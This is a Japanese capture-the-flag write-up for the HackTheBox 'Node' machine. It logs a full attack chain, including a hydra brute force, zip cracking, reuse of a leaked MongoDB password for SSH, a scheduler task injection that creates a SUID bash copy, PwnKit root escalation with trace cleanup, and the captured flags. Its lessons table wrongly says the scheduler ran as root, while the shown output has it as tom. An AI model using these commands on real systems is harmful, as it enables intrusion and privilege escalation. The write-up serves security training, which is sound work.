HackTheBox: Node — 全実行コマンド・実行結果レポート
Nmap スキャン
22/3000
→
22/3000
UAバイパス + /api/users 漏洩
管理者ユーザー名特定
→
管理者ユーザー名特定
hydra JSON POSTブルートフォース
manchester
→
manchester
バックアップDL + fcrackzip
MongoDB接続文字列流用
→
MongoDB接続文字列流用
SSH mark
資格情報の使い回し
→
資格情報の使い回し
MongoDBタスク注入
SUID+SGID bashコピー
→
SUID+SGID bashコピー
tomシェル
user.txt ✓
→
user.txt ✓
CVE-2021-4034 (PwnKit)
pkexec 0.105
→
pkexec 0.105
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.61.206 nmap -sV -sC -p 22,3000 10.129.61.206
RESULT
PORT STATE SERVICE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned
3000番ポートは User-Agent フィルタリングされている
BASH
# デフォルトUser-Agent (curlそのまま) だと空応答/簡素な応答しか返らない curl -s http://10.129.61.206:3000/ # ブラウザ風User-Agentを付与すると正常なページが返る curl -s -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" http://10.129.61.206:3000/
RESULT (ブラウザUA)
<html lang="en" ng-csp="" ng-app="myplace"> ... <title>MyPlace</title> ...
🚨
重要発見: AngularJSベースの “MyPlace” という Node.js/Express アプリ。
以降のすべてのリクエストでブラウザ風User-Agentの付与が必須。
PHASE 2
/api/users 情報漏洩 & hydra JSON POST ブルートフォース
/api/users/ が全ユーザーを認証なしで公開
BASH
curl -s -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \ http://10.129.61.206:3000/api/users/ | python3 -m json.tool
RESULT (抜粋)
[
{ "username": "tom", "password": "...", "is_admin": false },
{ "username": "mark", "password": "...", "is_admin": false },
{ "username": "myP14ceAdm1nAcc0uNT", "password": "...", "is_admin": true }
]
🚨
認証なしで全ユーザーの
usernameとパスワードハッシュが列挙できる。
is_admin:true の管理者ユーザー名 myP14ceAdm1nAcc0uNT を特定。
hydra で /api/session/authenticate の JSON POST をブルートフォース
BASH
hydra -l myP14ceAdm1nAcc0uNT -P /usr/share/wordlists/rockyou.txt \
10.129.61.206 -s 3000 http-post-form \
'/api/session/authenticate:{"username"\:"^USER^","password"\:"^PASS^"}:H=Content-Type\: application/json:F={"success"\:false}' \
-t 64
RESULT
[3000][http-post-form] host: 10.129.61.206 login: myP14ceAdm1nAcc0uNT password: manchester
1 of 1 target successfully completed, 1 valid password found
⚠️
hydra の http-post-form モジュールの落とし穴: このモジュールは
: を
フィールド区切り文字として扱うため、JSONボディ中のリテラルな:
(キーと値の間の区切り) や、ヘッダ値中の Content-Type: application/json の:も、
すべて \: でエスケープしないとパースエラーになる。
さらに、実際のサーバーの失敗時レスポンスは {"success":false} のみを返し、
文字列 "Authentication failed" は一切出現しない。この文字列を失敗条件に
使うと F=条件が永遠にマッチせず全試行が「valid password found」と誤検出される
(実際に “test123” 等の明らかな誤りパスワードでも成功と誤判定することを確認)。
正しい失敗条件文字列は F={"success"\:false}。また条件文字列は
必ずオプション引数(H=等)より後ろに置く必要がある。
PHASE 3
バックアップダウンロード & fcrackzip & SSH認証情報の使い回し
管理画面ログイン & バックアップダウンロード
BASH
# ログイン (クッキーを保存)
curl -s -c cookies.txt -A "Mozilla/5.0 ..." \
-X POST -H "Content-Type: application/json" \
-d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}' \
http://10.129.61.206:3000/api/session/authenticate
# admin.html の "Download Backup" ボタンが呼ぶAPIエンドポイントを
# assets/js/app/controllers/admin.js から特定 (ng-click="backup()")
curl -s -A "Mozilla/5.0 ..." http://10.129.61.206:3000/assets/js/app/controllers/admin.js
# → $window.open('/api/admin/backup', '_self');
# バックアップ取得 (約3.4MBのbase64テキスト)
curl -s -b cookies.txt -A "Mozilla/5.0 ..." \
http://10.129.61.206:3000/api/admin/backup -o myplace_backup.b64
⚠️
実機で確認した重大な不安定性: このエンドポイントの応答(約3.4MB, HTTPヘッダの
Content-Length: 3459880)は、VPN経路上で転送中に高確率で
途中で接続が切れる(IncompleteRead)。帯域制限をかけても改善せず、
単純に何度も取り直す必要がある一過性のネットワーク不安定性であることを確認した
(成功するまで数回〜数十回の再試行が必要な場合がある)。
Content-Length ヘッダと実際の受信バイト数を突き合わせて完全性を検証すること。
base64 デコード → zip 化 → fcrackzip でパスワードクラック
BASH
base64 -d myplace_backup.b64 > myplace_backup.zip unzip -l myplace_backup.zip # → パスワード保護されていることを確認 fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u myplace_backup.zip
RESULT
PASSWORD FOUND!!!!: pw == magicword
app.js の MongoDB 接続文字列から SSH 認証情報を抽出
BASH
unzip -P magicword myplace_backup.zip "var/www/myplace/app.js" grep -n "mongodb://" var/www/myplace/app.js
RESULT
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
BASH (資格情報の使い回しを確認)
ssh mark@10.129.61.206 # Password: 5AYRft73VtFpc84k
RESULT
uid=1001(mark) gid=1001(mark) groups=1001(mark)
✅
SSHログイン成功。 アプリの MongoDB 接続用パスワードが、
そのまま OS ユーザー mark の SSH パスワードとして使い回されている。
PHASE 4
MongoDB タスク注入によるmark→tom権限昇格 & user.txt
tom 権限で稼働するスケジューラサービスを発見
BASH
mark@node:~$ ps aux | grep node
RESULT
tom 1278 0.0 6.1 ... /usr/bin/node /var/scheduler/app.js
tom 1284 0.0 9.1 ... /usr/bin/node /var/www/myplace/app.js
BASH (scheduler の app.js を閲覧)
mark@node:~$ cat /var/scheduler/app.js
RESULT
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?...'; setInterval(function () { db.collection('tasks').find().toArray(function (error, docs) { docs.forEach(function (doc) { exec(doc.cmd); db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) }); }); }); }, 30000);
🚨
重大発見: mark の MongoDB パスワードが
scheduler データベースにも
再利用されている。tasks コレクションに cmd フィールドを持つドキュメントを
挿入すると、30秒ごとに tom 権限でそのまま exec() される。
タスク注入で SUID+SGID bash コピーを作成
BASH
mark@node:~$ mongo -u mark -p '5AYRft73VtFpc84k' scheduler --eval '
db.tasks.insert({cmd: "/bin/cp /bin/bash /tmp/tom; /bin/chown tom:admin /tmp/tom; chmod g+s /tmp/tom; chmod u+s /tmp/tom"})
'
# 30秒待機後...
mark@node:~$ ls -la /tmp/tom
RESULT
-rwsrwsrwx 1 tom admin 1037528 ... /tmp/tom
ℹ️
グループ所有者を
tom:tom ではなく tom:adminにする点が重要
(後述のPwnKit採用前に検討した/usr/local/bin/backup SUIDバイナリが
adminグループの実行権限を要求するため)。SUID+SGIDの両ビットを立てた
bashコピーは、実行時の実効UID/GIDをtom/adminに変更する。
user.txt 取得
BASH
mark@node:~$ /tmp/tom -p -c 'cat /home/tom/user.txt'
RESULT
475c01c7e9c76f2649fc4832606d6407
user.txt — mark → tom (SUID bashコピー経由)
475c01c7e9c76f2649fc4832606d6407
ℹ️
bash -p の -p (privileged mode) は、bashが自動的にeuidをruidへ
ドロップする通常のセキュリティ機構を抑止するために必須。
PHASE 5
CVE-2021-4034 (PwnKit) → root.txt
当初の想定ルート: /usr/local/bin/backup SUID の ret2libc (断念)
NOTE
/var/www/myplace/app.js から抽出した64桁hexトークンを使い、 /usr/local/bin/backup (SUID root) の第3引数(path)に508バイト以上を渡すと スタックBOFでセグフォルトすることを実機で確認した(-iフラグ必須、 507バイトまでは安全/508バイトでクラッシュを精密に確認済み)。 ASLR+NX環境のためret2libc(system+exit+"/bin/sh")が必要となるが、 padding候補(495〜528の全整数)×libcベースアドレス広範囲(±1MB、 数千通り)の組み合わせを実機で総当りしても成功せず、ローカル環境 (同一バイナリ+同一libc+同一ローダーを明示的に指定)での再現も うまくいかなかった。この経路は理論上は正しいはずだが、ブラックボックス 環境での正確なスタックレイアウト特定が困難で、実用的な時間内での 突破を断念した。
⚠️
この試行錯誤の過程で得られた資格情報 (backup SUIDの認証トークン等) は
実際の攻略には使わなかったが、
/tmp/tom をSUID+SGID(tom:admin)にする
判断は、この経路を見据えた副産物として残っている。
pkexec バージョン確認 → CVE-2021-4034 該当
BASH
mark@node:~$ pkexec --version mark@node:~$ dpkg -l | grep policykit
RESULT
pkexec version 0.105
ii policykit-1 0.105-14.1 amd64 framework for managing administrative policies and privileges
🚨
PwnKit (CVE-2021-4034) 該当: polkitのpkexecは0.120で修正されるまで、
ほぼ全てのLinuxディストリビューションに存在する深刻なローカル権限昇格脆弱性を抱えていた。
バージョン0.105は明確に脆弱。
lxd/dockerグループ等の追加条件は一切不要で、
任意のローカルユーザー(ここでは mark)から直接root化できる。
PwnKit エクスプロイトのコンパイル & 実行
BASH (Kali側でコンパイル)
# exploit.c: GCONV_PATH トリックで pkexec に悪意ある gconv モジュールを # ロードさせる定番のPwnKit PoC (公知の手法、Qualys/blastyのPoCに準拠) gcc -static -o exploit exploit.c # evil.so: gconv_init() で setuid(0) 後 /bin/sh を起動 gcc -shared -fPIC -o evil.so evil-so.c scp exploit evil.so mark@10.129.61.206:/tmp/
BASH (ターゲット側で実行)
mark@node:~$ chmod +x /tmp/exploit mark@node:/tmp$ ./exploit mark@node:/tmp$ cat /tmp/.node_pwnkit_out
RESULT
b088823ac0773474bc599ab028ed7853
root.txt — via CVE-2021-4034 (PwnKit)
b088823ac0773474bc599ab028ed7853
✅
root化成功。 検証後、evil.so を無害なクリーンアップ用ペイロード
(ハングした調査用プロセスの後始末、テストファイルの削除) に差し替えて
./exploit を再実行し、root権限で痕跡を消去した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — mark → tom
475c01c7e9c76f2649fc4832606d6407
root.txt — root@node (via PwnKit)
b088823ac0773474bc599ab028ed7853
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 認証なしAPI情報漏洩 | /api/users/ (User-Agentフィルタで守られているつもり) | 全ユーザー名・管理者アカウントの露出 | Medium | ブラウザ風User-Agent付与のみで認証なしにアクセス可能 |
| 弱い管理者パスワード | Node.js管理者アカウント | 管理画面への不正ログイン | High | hydraによるJSON POSTブルートフォース(rockyou.txt)で数十秒で突破 |
| パスワードのハードコード & 使い回し | app.js内MongoDB接続文字列 | SSH認証情報の漏洩 | High | zipクラック後、平文MongoDBパスワードがOSユーザーのSSHパスワードと同一と判明 |
| MongoDBタスクキューへの任意コマンド注入 | schedulerデータベース (tasks コレクション) | tomユーザーへの権限昇格 | Critical | 再利用された認証情報でMongoDBに直接接続し、exec()されるタスクドキュメントを挿入 |
| CVE-2021-4034 (PwnKit) | pkexec 0.105 (policykit-1) | ローカルユーザーからrootへの権限昇格 | Critical | GCONV_PATH経由の悪意あるgconvモジュールロードでsetuid(0)を実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + UAフィルタ発見 | 22/3000のみオープン、Node.js/Express “MyPlace” |
| 2 | 情報漏洩&認証 | /api/users列挙 + hydraブルートフォース | myP14ceAdm1nAcc0uNT / manchester |
| 3 | バックアップ解析 | fcrackzip + app.js解析 | mark / 5AYRft73VtFpc84k (SSH) |
| 4 | 権限昇格 (mark→tom) | MongoDBタスクキュー注入 | user.txt 取得 |
| 5 | 権限昇格 (→root) | CVE-2021-4034 (PwnKit) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| User-Agentフィルタリングを「アクセス制御」として使用 | User-Agentは容易に偽装できるため認証・認可の代替にならない。正規の認証機構(セッション/トークン検証)で保護する。 |
| 認証不要のAPIエンドポイントが機密情報(ユーザー名一覧・管理者フラグ)を露出 | すべてのAPIエンドポイントで適切な認可チェックを実施し、最小権限の原則に従い必要な情報のみ返す。 |
| 管理者パスワードがrockyouレベルの辞書で短時間にクラックされる | 強力なパスワードポリシー、ログイン試行回数制限、多要素認証の導入。 |
| アプリケーションコード内にDB接続パスワードを平文でハードコードし、かつOSユーザーのパスワードと共用 | シークレットは環境変数やシークレット管理システムで扱い、サービスアカウントとOSログインアカウントのパスワードを分離する。 |
| root権限のNode.jsサービスが外部から書き込み可能なDBコレクションの内容をそのままexec()する | タスクキューのような仕組みでは、実行可能なコマンドをホワイトリスト化するか、少なくともタスク投入元の認可を厳格に検証する。任意コマンド実行を許す設計自体を避ける。 |
| polkit (pkexec) が既知の重大脆弱性(CVE-2021-4034)を含む古いバージョンのまま放置 | OSパッケージを定期的にパッチ適用する。特にsetuidバイナリを含むコンポーネントは脆弱性情報を継続的に監視する。 |

